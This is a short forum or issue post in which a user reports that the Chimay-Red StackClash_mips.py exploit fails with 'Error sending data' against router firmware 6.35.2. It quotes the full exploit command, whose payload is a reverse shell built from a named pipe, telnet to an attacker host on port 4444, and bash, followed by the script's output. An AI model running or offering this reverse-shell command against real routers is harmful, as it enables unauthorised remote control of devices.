Sending payload - Error sending data

[joefizz]

I am running StackClash_mips.py against firmware 6.35.2. When running the script I get the below error:

root@kali2sec:/opt/Chimay-Red# python3 StackClash_mips.py 192.168.200.4 80 www "/bin/mknod /ram/f p; /bin/telnet 192.168.200.108 4444 < /ram/f | /bin/bash > /ram/f 2>&1"
Building shellcode + ROP chain...
Crash...
Connected
Sent
Sent
Opening 2 sockets
Connected
Connected
Stack clash...
Sent
Sent
Sent
Sending payload
Error sending data

When reviewing the data in wireshark it shows that the router is sending a RST during the payload send. Screenshot attached but unable to attach a pcap